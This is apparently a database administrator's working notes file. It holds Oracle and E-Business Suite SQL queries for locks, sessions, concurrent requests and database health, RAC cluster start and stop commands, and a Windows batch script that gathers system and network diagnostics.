         status, machine, se.module, sql_fulltext
    FROM v$sql sq, v$session se
   WHERE sq.sql_id = se.sql_id AND TYPE = 'USER' AND status = 'ACTIVE'
ORDER BY ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)) DESC;

SELECT gvh.inst_id Locking_Inst, round ( (gvs.seconds_in_wait/60),2) Mins_in_wait, gvh.sid Locking_Sid, gvs.serial# Locking_Serial, gvs.username,
       gvs.status Status, gvs.module Module, gvw.inst_id Waiting_Inst, gvw.sid Waiter_Sid, gvs.CLIENT_IDENTIFIER,
       decode(gvh.type, 'MR', 'Media_recovery',
                        'RT', 'Redo_thread',
                        'UN', 'User_name',
                        'TX', 'Transaction',
                        'TM', 'Dml',
                        'UL', 'PLSQL User_lock',
                        'DX', 'Distrted_Transaxion',
                        'CF', 'Control_file',
                        'IS', 'Instance_state',
                        'FS', 'File_set',
                        'IR', 'Instance_recovery',
                        'ST', 'Diskspace Transaction',
                        'IV', 'Libcache_invalidation',
                        'LS', 'LogStaartORswitch',
                        'RW', 'Row_wait',
                        'SQ', 'Sequence_no',
                        'TE', 'Extend_table',
                        'TT', 'Temp_table',
                              'Nothing-') Waiter_Lock_Type,
       decode(gvw.request, 0, 'None',
                           1, 'NoLock',
                           2, 'Row-Share',
                           3, 'Row-Exclusive',
                           4, 'Share-Table',
                           5, 'Share-Row-Exclusive',
                           6, 'Exclusive',
                              'Nothing-') Waiter_Mode_Req ,
dobj.object_name,
'alter system kill session '|| '''' || gvh.sid || ',' || gvs.serial# || ''' immediate;' "Kill_Command"
FROM gv$lock gvh, gv$lock gvw, gv$session gvs, dba_objects dobj
WHERE (gvh.id1, gvh.id2) in (
           SELECT id1, id2 FROM gv$lock WHERE request=0
                INTERSECT
           SELECT id1, id2 FROM gv$lock WHERE lmode=0)
  AND gvh.id1=gvw.id1
  AND gvh.id2=gvw.id2
  AND gvh.request=0
  AND gvw.lmode=0
  AND gvh.sid=gvs.sid
  AND gvh.inst_id=gvs.inst_id
  AND gvs.ROW_WAIT_OBJ# = dobj.object_id; 
 
 
  select inst_ID, round( (seconds_in_wait/60),2 ) Wait_in_Mins, blocking_session, blocking_instance, sid, Serial#, user#, username, command, status,
schema#, schemaname, osuser, process, machine, terminal, program, type,
sql_id, sql_exec_start, module, action, client_info, logon_time,
client_identifier, blocking_session_status,
final_blocking_session_status, final_blocking_instance, final_blocking_session,
event,  service_name
from  gv$session where blocking_session is not NULL
order by  blocking_session;
 
SELECT DECODE(request,0,'Holder: ','Waiter: ')||sid sess,inst_id,id1, id2, lmode, request, type FROM gV$LOCK
WHERE (id1, id2, type) IN (SELECT id1, id2, type FROM gV$LOCK WHERE request>0) ORDER BY id1,request;
select * From gv$session where sid=9796 and serial#=59779;

select * From gv$session where sid=1538;
alter system kill session '1538,40597,@2';
select * from gv$session where client_identifier='ASAMI00123';
SELECT SID,SERIAL#,BLOCKING_SESSION,CLIENT_IDENTIFIER FROM GV$SESSION WHERE CLIENT_IDENTIFIER='ASAMI00123';
lockED objects.
------------------------------------------------------
 SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id;
*****************************************************************************
LOCKING SESSION, TABLE LOCKED
*****************************************************************************
SELECT
b.action,
c.object_name,
c.object_type,
b.SID,
b.serial#,
c.owner,
c.object_name,
c.object_type,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name like '%XXORACLE_FA_ACT_INFORMATION%';

SELECT
b.action,
b.SID,
b.serial#,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$session b
where action like '&ACTION FROM PREVIOUS QUERY’;

alter system kill session '3393,1551,@1';

*****************************************************************************
Long Running SQLs
*****************************************************************************
SELECT   SID, serial#,
         ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)
               ) "Elapsed_Time P Exec",
         ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1) / 60
               ) "Elapsed_Time P Exec Min",
         audsid, blocking_session, se.client_identifier,event, se.sql_id, program, se.action,
         username, machine, osuser, logon_time, executions, elapsed_time,
         status, machine, se.module, sql_fulltext
    FROM v$sql sq, v$session se
   WHERE sq.sql_id = se.sql_id AND TYPE = 'USER' AND status = 'ACTIVE'
ORDER BY ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)) DESC;
*****************************************************************************
How Many Conc Request By Node Name Detail
*****************************************************************************
SELECT   sess.SID, sess.serial#, fcr.OUTFILE_NODE_NAME NODE,
         fusr.description usern,
         fcp.user_concurrent_program_name progname,
         TO_CHAR (actual_start_date, 'DD-MON-YYYY HH24:MI:SS') startdate,
         request_id requestid,
         round((SYSDATE - actual_start_date) * 24 * 60 , 00 )  Elaps_Min
    FROM fnd_concurrent_requests fcr,
         fnd_concurrent_programs_tl fcp,
         fnd_user fusr,
         v$session sess
   WHERE fcp.concurrent_program_id = fcr.concurrent_program_id
     AND fcr.program_application_id = fcp.application_id
     AND fcp.LANGUAGE = 'US'
     AND fcr.phase_code = 'R'
     AND fcr.status_code = 'R'
     AND fcr.requested_by = fusr.user_id
     AND fcr.oracle_session_id = sess.audsid(+)
ORDER BY 5 DESC ;

******************************************************** ********************
Concurant programs running Time details
*****************************************************************************
select REQUEST_ID,ACTUAL_START_DATE,REQUESTOR,USER_CONCURRENT_PROGRAM_NAME,
trunc((sysdate - actual_start_date) * 24, 2) "Time_hours",printer,ARGUMENT_TEXT
from FND_CONC_REQ_SUMMARY_V
where STATUS_CODE ='R'
and PHASE_CODE ='R'
order by 5 desc;
*****************************************************************************
LOCKS SCript in RAC
*****************************************************************************
SELECT gvh.inst_id Locking_Inst, round ( (gvs.seconds_in_wait/60),2) Mins_in_wait, gvh.sid Locking_Sid, gvs.serial# Locking_Serial, gvs.username,
       gvs.status Status, gvs.module Module, gvw.inst_id Waiting_Inst, gvw.sid Waiter_Sid, gvs.CLIENT_IDENTIFIER,
       decode(gvh.type, 'MR', 'Media_recovery',
                        'RT', 'Redo_thread',
                        'UN', 'User_name',
                        'TX', 'Transaction',
                        'TM', 'Dml',
                        'UL', 'PLSQL User_lock',
                        'DX', 'Distrted_Transaxion',
                        'CF', 'Control_file',
                        'IS', 'Instance_state',
                        'FS', 'File_set',
                        'IR', 'Instance_recovery',
                        'ST', 'Diskspace Transaction',
                        'IV', 'Libcache_invalidation',
                        'LS', 'LogStaartORswitch',
                        'RW', 'Row_wait',
                        'SQ', 'Sequence_no',
                        'TE', 'Extend_table',
                        'TT', 'Temp_table',
                              'Nothing-') Waiter_Lock_Type,
       decode(gvw.request, 0, 'None',
                           1, 'NoLock',
                           2, 'Row-Share',
                           3, 'Row-Exclusive',
                           4, 'Share-Table',
                           5, 'Share-Row-Exclusive',
                           6, 'Exclusive',
                              'Nothing-') Waiter_Mode_Req ,
dobj.object_name,
'alter system kill session '|| '''' || gvh.sid || ',' || gvs.serial# || ''' immediate;' "Kill_Command"
FROM gv$lock gvh, gv$lock gvw, gv$session gvs, dba_objects dobj
WHERE (gvh.id1, gvh.id2) in (
           SELECT id1, id2 FROM gv$lock WHERE request=0
                INTERSECT
           SELECT id1, id2 FROM gv$lock WHERE lmode=0)
  AND gvh.id1=gvw.id1
  AND gvh.id2=gvw.id2
  AND gvh.request=0
  AND gvw.lmode=0
  AND gvh.sid=gvs.sid
  AND gvh.inst_id=gvs.inst_id
  AND gvs.ROW_WAIT_OBJ# = dobj.object_id; 

*****************************************************************************
Blocking sessions
*****************************************************************************
select inst_ID, round( (seconds_in_wait/60),2 ) Wait_in_Mins, blocking_session, blocking_instance, sid, Serial#, user#, username, command, status,
schema#, schemaname, osuser, process, machine, terminal, program, type,
sql_id, sql_exec_start, module, action, client_info, logon_time,
client_identifier, blocking_session_status,
final_blocking_session_status, final_blocking_instance, final_blocking_session,
event,  service_name
from  gv$session where blocking_session is not NULL
order by  blocking_session;
 
SELECT DECODE(request,0,'Holder: ','Waiter: ')||sid sess,inst_id,id1, id2, lmode, request, type FROM gV$LOCK
WHERE (id1, id2, type) IN (SELECT id1, id2, type FROM gV$LOCK WHERE request>0) ORDER BY id1,request;
*****************************************************************************
PGA Usage as per Node
*****************************************************************************
SELECT p.spid,
p.pid,
s.sid,
s.serial#,
S.STATUS,
s.machine,
s.process,
TRUNC((P.PGA_ALLOC_MEM/ 1024 / 1024),2) PGA_ALLOC_MEM,
trunc((p.PGA_USED_MEM/ 1024 / 1024),2) PGA_USED_MEM,
s.username,
s.osuser,s.lOGON_TIME,
s.program,s.module,
s.client_identifier
FROM v$process p,v$session s
WHERE s.paddr ( + ) = p.addr
and P.BACKGROUND is null
--and S.ACTION like '%AHL_JAVA%'
/* Comment out this line if need to monitor background processes */
order by P.PGA_ALLOC_MEM desc;
*****************************************************************************
sql check
*****************************************************************************
select * from v$sqlarea where sql_id='5hkc1cus1xcxu';
*****************************************************************************
To see all the pending / Running requests per each manager wise
*****************************************************************************
SELECT request_id, phase_code, status_code, user_name,
user_concurrent_queue_name
FROM apps.fnd_concurrent_worker_requests cwr,
apps.fnd_concurrent_queues_tl cq,
apps.fnd_user fu
WHERE (cwr.phase_code = 'P' OR cwr.phase_code = 'R')
AND cwr.hold_flag != 'Y'
AND cwr.requested_start_date <= SYSDATE
AND cwr.concurrent_queue_id = cq.concurrent_queue_id
AND cwr.queue_application_id = cq.application_id
AND cq.LANGUAGE = 'US'
AND cwr.requested_by = fu.user_id
ORDER BY 5
*****************************************************************************
A List of pending Jobs waiting for managers:
*****************************************************************************
SELECT b.USER_CONCURRENT_QUEUE_NAME , count(*)
FROM apps.FND_CONCURRENT_WORKER_REQUESTS a,apps.FND_CONCURRENT_QUEUES_VL b
WHERE (Phase_Code = 'P' ) and a.hold_flag != 'Y'
and a.Requested_Start_Date <= SYSDATE
AND ('' IS NULL OR ('' = 'B' AND PHASE_CODE = 'R' AND
STATUS_CODE IN ('I'))) and a.CONCURRENT_QUEUE_ID!=1003
and a.CONCURRENT_QUEUE_ID=b.CONCURRENT_QUEUE_ID 
group by b.USER_CONCURRENT_QUEUE_NAME ,status_code;
*****************************************************************************
Listing users having Sysadmin Responsibility
*****************************************************************************
SELECT a.user_id, b.user_name
FROM fnd_user_resp_groups a, fnd_user b
WHERE a.user_id = b.user_id AND responsibility_id = 20420
ORDER BY 1;
*****************************************************************************
List of Responsibilities for particular user *****************************************************************************
select fu.user_name, fr.responsibility_name, furg.START_DATE, furg.END_DATE
from APPS.fnd_user_resp_groups_direct furg, APPS.fnd_user fu, APPS.fnd_responsibility_tl fr
where fu.user_name IN upper('USER_NAME') and furg.user_id = fu.user_id
and furg.responsibility_id = fr.responsibility_id and fr.language = userenv('LANG');
*****************************************************************************
Concurrent Request Ran in Past 1 one hour
*****************************************************************************
select REQUEST_ID,REQUESTOR,
to_char(ACTUAL_START_DATE,'hh24:mi dd-MON-yyyy') started,
to_char(ACTUAL_COMPLETION_DATE,'hh24:mi dd-MON-yyyy') completed,
to_char(((((ACTUAL_COMPLETION_DATE-ACTUAL_START_DATE)*24*60*60)/60)/60),'99D99') duration,
sysdate,PROGRAM
from FND_CONC_REQ_SUMMARY_V,dual
where PHASE_CODE='C'
and REQUESTOR <> 'SYSADMIN'
--and to_date(ACTUAL_COMPLETION_DATE) between  to_date(sysdate-1/24) and to_date(sysdate)
and ACTUAL_COMPLETION_DATE >  sysdate-1/24
-- SYSDATE - 10/1440 
--An half hour from now    SYSDATE - 1/48
--10 minutes from now    SYSDATE - 10/1440
order by 4 desc;
*****************************************************************************
Top CPU
*****************************************************************************
select object_name, s.sid, s.serial#, p.spid
from v$locked_object l, dba_objects o, v$session s, v$process p
where l.object_id = o.object_id and l.session_id = s.sid and s.paddr = p.addr;
select vs.sid,vs.serial#,vs.username,vs.osuser,vs.machine,vs.program from v$session vs, v$process vp where vs.paddr = vp.addr
and vp.spid = &pid;
use the spid from the 1st query or the top cmd.
UNIX o/s cmd >> prstat -a -S rss
*****************************************************************************
WorkFlow
*****************************************************************************
select component_name, component_status, component_type from APPS.fnd_svc_components   where  component_name='Workflow Notification Mailer';

SELECT * FROM APPS.WF_NOTIFICATIONS WHERE MAIL_STATUS='MAIL' AND STATUS='CLOSED';
*****************************************************************************
Printer quees clear
*****************************************************************************
cat /etc/hosts|grep 10.21.*.* (It will list the printer is present r not)
lpc status printername
lpc disable printername
lpc enable printername
*****************************************************************************
*****************************************************************************
concurrent programs by name and run time FOR TODAY
SELECT r.REQUEST_ID,
       DECODE(cptl.user_concurrent_program_name,
              'Report Set', substr(r.description,1,40),
              SUBSTR(cptl.user_concurrent_program_name,1,40)) pn,
       q.concurrent_queue_name qn,
       TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH:MI:SS') strttime,
       TO_CHAR(ACTUAL_COMPLETION_DATE,'MM/DD/YY HH:MI:SS') endtime,
       ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2) rtime,
       r.completion_text compl_txt
  FROM fnd_concurrent_requests r,
       fnd_concurrent_processes p,
       fnd_concurrent_programs cp,
       fnd_concurrent_programs_tl cptl,
       fnd_concurrent_queues q
 WHERE p.concurrent_queue_id = q.concurrent_queue_id
   AND p.queue_application_id = q.application_id
   AND r.controlling_manager = p.concurrent_process_id
   AND r.phase_code = 'C'
   AND r.program_application_id = cp.application_id
   AND r.concurrent_program_id = cp.concurrent_program_id
   AND cp.application_id = cptl.application_id
   AND cp.concurrent_program_id = cptl.concurrent_program_id
   AND TRUNC(ACTUAL_START_DATE) = TO_DATE(UPPER(SYSDATE),'DD-MON-YY')
 ORDER BY 2, 3, 4
/

*****************************************************************************
list concurrent manager utilization by hour FOR TODAY

SELECT
       TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH24') rtime,
       q.concurrent_queue_name qn,
       COUNT(r.REQUEST_ID) cnt,
       SUM(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) tott,
       MIN(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) mint,
       AVG(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) avgt,
       MAX(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) maxt,
       AVG(ROUND((r.ACTUAL_START_DATE - r.REQUESTED_START_DATE)*(60*24),3)) avgd,
       MAX(ROUND((r.ACTUAL_START_DATE - r.REQUESTED_START_DATE)*(60*24),3)) maxd
  FROM fnd_concurrent_requests r,
       fnd_concurrent_processes p,
       fnd_concurrent_programs cp,
       fnd_concurrent_queues q,
       fnd_concurrent_programs_tl cptl
 WHERE TRUNC(r.ACTUAL_START_DATE) = TO_DATE(UPPER(SYSDATE),'DD-MON-YY')
  AND r.phase_code = 'C'
  AND R.controlling_manager = P.concurrent_process_id
  AND p.concurrent_queue_id = q.concurrent_queue_id
  AND p.queue_application_id = q.application_id
  AND r.program_application_id = cp.application_id
  AND r.concurrent_program_id = cp.concurrent_program_id
  AND cp.application_id = cptl.application_id
  AND cp.concurrent_program_id = cptl.concurrent_program_id
GROUP BY
  TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH24'),
  q.concurrent_queue_name
ORDER BY
  rtime,
  q.concurrent_queue_name
/
find the users who are consuming the TEMP TEMPORARY Tablespace


SELECT S.sid || ',' || S.serial# sid_serial, S.username, S.osuser, P.spid, S.module,
P.program, SUM (T.blocks) * TBS.block_size / 1024 / 1024 mb_used, T.tablespace,
COUNT(*) statements
FROM gv$sort_usage T, gv$session S, dba_tablespaces TBS, gv$process P
WHERE T.session_addr = S.saddr
AND S.paddr = P.addr
AND T.tablespace = TBS.tablespace_name
GROUP BY S.sid, S.serial#, S.username, S.osuser, P.spid, S.module,
P.program, TBS.block_size, T.tablespace
ORDER BY mb_used desc;
Check the waits
SELECT s.sql_id,
  s.inst_id inst,
  sw.SID,
  s.serial#,
  TO_CHAR (s.logon_time, 'hh:mi:ss AM - dd-mm-yy') TIME,
  sw.seq#,
  s.username,
  sw.event,
  sw.seconds_in_wait secs,
  s.last_call_Et,
  sw.state
FROM gv$session s,
  gv$session_wait sw
WHERE s.username   IS NOT NULL
AND s.username not in ('SYS','SYSTEM')
AND sw.SID          = s.SID
AND s.inst_id       = sw.inst_id
AND sw.event not like 'SQL%Net%'
AND sw.event not like 'PX%'
AND sw.event not like 'Streams%'
-- AND s.status = 'ACTIVE'
-- and sw.seconds_in_wait <>0
ORDER BY 2
-- order by sw.seconds_in_wait ASC
/






#############################
#############################
#############################
#############################






































Note:
It is Oracle's Best Practise to have an OCR mirror stored in a second disk group. To follow this
recommendation add an OCR mirror. Mind that you can only have one OCR in a diskgroup
1. To add OCR mirror to an Oracle ASM disk group, ensure that the Oracle Clusterware stack is running and run the following command as administrator:
2. D:\OraGrid\BIN>ocrconfig -add +DBFLASH
3. D:\OraGrid\BIN>ocrcheck -config
#oracleasm listdisks
/etc/init.d/oracleasm listdisks
#crsctl query css votedisk
srvctl config scan
%GI_HOME%\bin\crsctl stat res -t
crsctl stat res myApache -t
11gr2
------
crsctl check cluster [-all | [-n server_name [...]]
•crsctl check cluster
•crsctl start cluster
•crsctl stop cluster
crsctl check css
crsctl status resource
srvctl start database -d orcl -o mount/nomount
srvctl stop database -d orcl -o immediate/transactional/normal/abort
srvctl start instance -d orcl -i orcl1 -o mount/nomount
srvctl start instance -d orcl -n rac1 -o mount/nomount
srvctl stop instance -d orcl -i orcl1 -o immediate/transactional/normal/abort
srvctl status database -d orcl
srvctl stop listener
srvctl stop asm -f
srvctl stop asm -n nodename
srvctl stop nodeapps -n node
crsctl stop crs
crsctl check crs

Follow the reverse sequence to start all processes in oracle RAC
# crsctl start crs
$ORACLE_HOME/bin/bin/srvctl start nodeapps -n node
$ORACLE_HOME/bin/bin/srvctl start asm -n node
$ORACLE_HOME/bin/srvctl start database -d db_name

crs_stat -t--->depricated so use,
%GI_HOME%\bin\crsctl stat res -t
http://www.oracleracexpert.com/2012/01/how-to-stop-and-start-processes-in.html

HEALTH CHECK
---------------
@?/rdbms/admin/spcreate
execute statspack.snap;
@?/rdbms/admin/spreport
---->>>>check time syncronisation
------>>>>>buffer cache hit ratio
SELECT ROUND((1-(phy.value / (cur.value + con.value)))*100,2) "Cache Hit Ratio"
   FROM v$sysstat cur, v$sysstat con, v$sysstat phy
   WHERE cur.name = 'db block gets'
    AND con.name = 'consistent gets'
    AND phy.name = 'physical reads'


SELECT * FROM DBA_REGISTRY;
sga_target, pga_aggregate_target, memory_target

select * from v$resource_limit;
SELECT PROPERTY_VALUE FROM DATABASE_PROPERTIES WHERE PROPERTY_NAME = 'DEFAULT_PERMANENT_TABLESPACE';

SELECT user_name username,
description name,
to_char(b.first_connect,'MM/DD/RR HH24:MI') firstconnect,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 4 DESC
/
SELECT * FROM V$DATABASE_BLOCK_CORRUPTION;
SELECT * FROM V$BACKUP_CORRUPTION;
SELECT * FROM V$DATAFILE WHERE UNRECOVERABLE_CHANGE#<>0;
SELECT * FROM V$DATAFILE WHERE STATUS IN ('OFFLINE','SYSOFF');
select status from v$instance;
select count(*) from dba_objects where status='INVALID';
SELECT TABLESPACE_NAME,SUM(BYTES)/1024/1024 "free space in MB" FROM DBA_FREE_SPACE GROUP BY TABLESPACe_NAME order by 2;
SELECT T.TS#,T.NAME,D.NAME,d.bytes/1024/1024 FROM V$TABLESPACE T, V$DATAFILE D WHERE T.TS#=D.TS#;
select opname,time_remaining from v$session_longops where time_remaining<>0;
select sid,serial#,user#,username,status,schemaname,osuser,machine,terminal,program,prev_exec_start,module,logon_time from v$session where MACHINE IN ('QIA\MAHMEDPC') order by logon_time
desc;
select sid,serial#,user#,username,status,schemaname,osuser,machine,terminal,program,prev_exec_start,module,logon_time from v$session where MACHINE NOT IN ('prodapp','PRODDB','prodhrms','QIA
\PRODAPP','QIA\ABDULSAMIPC') order by logon_time desc;
==============================================
select sequence#,applied from v$archived_log;
select host_name,status from v$instance;
select message from v$dataguard_status;
==============================================
To  Find Blocking Sessions in Database
select * from dba_blockers
To find the Languages Installed ??
select nls_language, language_code, installed_flag from apps.fnd_languages where installed_flag in (‘I’,'B’);
===================
To check the WF status from backend
check the status of Agent Listeners:
select fsc.COMPONENT_NAME,fsc.STARTUP_MODE,fsc.COMPONENT_STATUS
from APPS.FND_CONCURRENT_QUEUES_VL fcq, fnd_svc_components fsc
where fsc.concurrent_queue_id = fcq.concurrent_queue_id(+)
order by COMPONENT_STATUS , STARTUP_MODE , COMPONENT_NAME;
CURRENTLY WHICH SESSIONS ARE CONNECTED (EXCLUDING 'prodhrms','prodapp','PRODDB' AND MACHINE NOT LIKE '%PRODAPP%')
------------------------------------------------------------------------------------------------------------------
SELECT s.inst_id,
       s.sid,
       s.serial#,
       p.spid,
       s.username,
       s.program,
    s.module,
    s.machine,
    s.osuser,
    s.prev_exec_start,
    s.logon_time
FROM   gv$session s
       JOIN gv$process p ON p.addr = s.paddr AND p.inst_id = s.inst_id
WHERE  s.type != 'BACKGROUND' and MACHINE NOT IN ('prodhrms','prodapp','PRODDB') AND MACHINE NOT LIKE '%PRODAPP%'
ORDER BY LOGON_TIME DESC;
HOW LARGE IS THE DATABASE
-------------------------
select round(sum(used.bytes) / 1024 / 1024 / 1024 ) || ' GB' "Database Size"
, round(sum(used.bytes) / 1024 / 1024 / 1024 ) -
 round(free.p / 1024 / 1024 / 1024) || ' GB' "Used space"
, round(free.p / 1024 / 1024 / 1024) || ' GB' "Free space"
from    (select bytes
 from v$datafile
 union all
 select bytes
 from  v$tempfile
 union  all
 select  bytes
 from  v$log) used
, (select sum(bytes) as p
 from dba_free_space) free
group by free.p
select owner,table_name,num_rows from dba_tables where num_rows is not null and num_rows>100000 order by num_rows desc;
SELECT NAME,BYTES/1024/1024 "size in MB" from v$datafile;
select t.name,d.name,d.bytes/1024/1024 from v$tablespace t, v$datafile d
where t.ts#=d.ts#;
select t.name,sum(d.bytes)/1024/1024 from v$tablespace t, v$datafile d where t.ts#=d.ts# group by t.name order by 2;
select name,unrecoverable_time,unrecoverable_change# from v$datafile;
select * from v$recovery_file_dest;
select name,value from v$parameter where value like '%/%';
SELECT PATCH_LEVEL FROM APPS.FND_PRODUCT_INSTALLATIONS WHERE PATCH_LEVEL LIKE '%AD%';
SELECT PATCH_LEVEL FROM APPS.FND_PRODUCT_INSTALLATIONS WHERE PATCH_LEVEL LIKE '%XTR%';
TO SEE THE USER CONNECTED AND WHAT RESPONSIBILITY HE IS USING
-------------------------------------------------------------
select distinct fu.user_name User_Name,fr.RESPONSIBILITY_KEY Responsibility
from fnd_user fu, fnd_responsibility fr, icx_sessions ic
where fu.user_id = ic.user_id AND
fr.responsibility_id = ic.responsibility_id AND
ic.disabled_flag='N' AND
ic.responsibility_id is not null AND
ic.last_connect like sysdate;
TO SEE WHO IS CONNECTED AND USING WHICH FORM AND RESPONSIBILITY
----------------------------------------------------------------
SELECT TIME, user_name, responsibility_name, user_form_name
FROM apps.fnd_form_sessions_v
ORDER BY 1;
Count concurrent users connected to Oracle Apps
-----------------------------------------------
select count(distinct d.user_name)
from apps.fnd_logins a, v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1);
Display names of Concurrent users connected to Oracle Apps
----------------------------------------------------------
select distinct d.user_name
from apps.fnd_logins a, v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1);
Can use this SQL statement to count concurrent_users in Oracle apps
-------------------------------------------------------------------
select count(distinct d.user_name) from apps.fnd_logins a,
v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1)
To see all forms users connection details like ip address etc
---------------------------------------------------------------
select * from fnd_oam_forms_rti;

Installing Oracle RAC 11g On Windows 2008 Service Pack 2 -64bit
For Oracle ASM 11g Release 2 (11.2.0.1), Oracle ACFS and Oracle ADVM(DYNAMIC VOLUME MANAGER) are supported only on Windows Server 2003 64-bit and Windows Server 2003 R2 64-bit. Starting with Oracle ASM 11g Release 2 (11.2.0.2), Oracle ACFS and Oracle ADVM are also supported on Windows Server 2008, x64 and Windows Server 2008 R2, x64.
---->RMAN VALIDATE DATABASE, LIST FAILURE, ADVISE FAILURE
------>>>>>>CHECK IF TEST AND DEV INSTANCES HAS SCRAMBLED DATA
----->>>>>ORA-00020: maximum number of processes (%s) exceeded
--->>>archive mode, rman backup
--->>STOP MSDTC SERVICE
-->v$fixed_view_definition, V$ASM_OPERATION
All RAC instance information.
-----------------------------
SELECT
    instance_name || ' (' || instance_number || ')' instance_name
  , thread#
  , host_name
  , status
  , TO_CHAR(startup_time, 'DD-MON-YYYY HH:MI:SS') startup_time
  , database_status
  , archiver
  , logins
  , shutdown_pending
  , active_state
  , version
FROM
    gv$instance
ORDER BY
    instance_number;

Report of all disks contained within all ASM disk groups along with their performance metrics.
----------------------------------------------------------------------------------------------
SELECT
    a.name                disk_group_name
  , b.path                disk_path
  , b.reads               reads
  , b.writes              writes
  , b.read_errs           read_errs
  , b.write_errs          write_errs
  , b.read_time           read_time
  , b.write_time          write_time
  , b.bytes_read          bytes_read
  , b.bytes_written       bytes_written
FROM
    v$asm_diskgroup a JOIN v$asm_disk b USING (group_number)
ORDER BY
    a.name
/
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********


MYDIAG.BAT
-------------------
set day=%date:~0,3%
set mm=%date:~4,2%
set dd=%date:~7,2%
set yy=%date:~-4%
set ORA_DIAG_CLINT=
set ORA_DIAG_OUPUT=sami.txt
set ORA_CRS_HOME_BIN=D:\app\user\product\11.1.0\db_1\BIN
set ORA_CRS_HOME=D:\app\user\product\11.1.0\db_1
set ORA_DB_HOME=D:\app\user\product\11.1.0\db_1
set ORACLE_ASM_SID=+ASM
set CRS_HOST1=user-TOSH
set CRS_HOST2=or-12
set ORA_DB_NAME=orcl
set ORA_DB_INST1=orcl
set ORA_DB_INST2=TESTRAC2
set ORA_DB_ALERT_FILE=D:\app\user\diag\rdbms\orcl\orcl\trace\alert_orcl.log
del sami.txt
echo Health Check Started: %date% - %time% >> %ORA_DIAG_OUPUT%
echo
echo
EVENTCREATE /T INFORMATION /ID 1000 /L APPLICATION /D " Starting Oracle RAC/DB Health Check by Sami"
CLS
:OS
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Operating System                                  # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
color a
echo ######################### System Info ####################################### >> %ORA_DIAG_OUPUT%
SYSTEMINFO >> %ORA_DIAG_OUPUT%
echo ######################### Checking ability to perform the software copy ###### >> %ORA_DIAG_OUPUT%
net use \\%CRS_HOST1%\C$ >> %ORA_DIAG_OUPUT%
net use \\%CRS_HOST2%\C$ >> %ORA_DIAG_OUPUT%
echo ######################### Displaying Services Info ########################## >> %ORA_DIAG_OUPUT%
SC query  >> %ORA_DIAG_OUPUT%
echo ######################### Checking Diskpart ################################## >> %ORA_DIAG_OUPUT%
ECHO list disk >> temp
ECHO list vol >> temp
diskpart /s temp  >> %ORA_DIAG_OUPUT%
del temp
echo

goto :NETWORK
:NETWORK
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Network                                           # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo ######################### Checking ARP ####################################### >> %ORA_DIAG_OUPUT%
ARP -a  >> %ORA_DIAG_OUPUT%
echo ######################### Displaying IPCONFIG  ############################### >> %ORA_DIAG_OUPUT%
ipconfig /all  >> %ORA_DIAG_OUPUT%
echo ######################### Network Latency Check  ############################# >> %ORA_DIAG_OUPUT%
pathping %CRS_HOST1%  >> %ORA_DIAG_OUPUT%
pathping %CRS_HOST2%  >> %ORA_DIAG_OUPUT%
echo ######################### General Global Parameters  ######################### >> %ORA_DIAG_OUPUT%
echo ********* IPV4 >> %ORA_DIAG_OUPUT%
netsh interface ipv4 show global >> %ORA_DIAG_OUPUT%
echo ********* IPV6 >> %ORA_DIAG_OUPUT%
netsh interface ipv6 show global >> %ORA_DIAG_OUPUT%
echo

goto :CLUSTERWARE
:CLUSTERWARE
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Clusterware                                       # >> %ORA_DIAG_OUPUT%
